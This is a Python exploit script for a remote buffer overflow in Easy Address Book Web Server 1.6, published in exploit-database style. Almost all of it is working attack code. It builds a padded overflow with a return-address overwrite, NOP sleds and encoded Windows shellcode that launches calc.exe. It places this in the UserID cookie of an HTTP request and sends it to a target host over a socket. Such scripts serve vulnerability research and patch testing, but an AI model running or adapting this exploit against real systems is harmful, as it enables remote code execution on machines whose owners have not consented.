Easy Address Book Web Server 1.6 – USERID Remote Buffer Overflow
#!/usr/bin/python # Exploit Title: Easy Address Book Web Server 1.6 - USERID Remote Buffer Overflow # Version: 1.6 # Date: 2015-08-23 # Author: Tracy Turben (tracyturben@gmail.com) # Software Link: http://www.efssoft.com/ # Tested on: Win7x32-EN,Win7x64-EN from struct import pack import socket,sys import os host="192.168.1.15" port=80 nopsled0 = "A" * 80 EDX = pack('<L',0x1001AFB8) # 1001AFE0 - 28 = 1001AFB8 JG SHORT 1001AF91 to MOV EAX,EBX POP EBP POP EBX RETN Return to Shellcode nopsled1="\x90" * 20 extraroom = "\x90" * 780 # windows/exec CMD=calc.exe # Encoder: x86/shikata_ga_nai # bad characters '\x00\x0a\x0d' shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" + "\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" + "\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" + "\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" + "\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" + "\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" + "\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" + "\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" + "\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" + "\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" + "\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" + "\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" + "\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" + "\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" + "\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" + "\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" + "\xa5\x59\x50") payload=nopsled0 + EDX + nopsled1 + shellcode + extraroom buf="GET //addrbook.ghp? HTTP/1.1\r\n" buf+="User-Agent: Mozilla/4.0\r\n" buf+="Host:" + host + ":" + str(port) + "\r\n" buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buf+="Accept-Language: en-us\r\n" buf+="Accept-Encoding: gzip, deflate\r\n" buf+="Referer: http://" + host + "/\r\n" buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n" buf+="Conection: Keep-Alive\r\n\r\n" print "[*] Connecting to Host " + host + "..." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect=s.connect((host, port)) print "[*] Connected to " + host + "!" except: print "[!] " + host + " didn't respond\n" sys.exit(0) print "[*] Sending malformed request..." s.send(buf) print "[!] Exploit has been sent!\n" s.close() |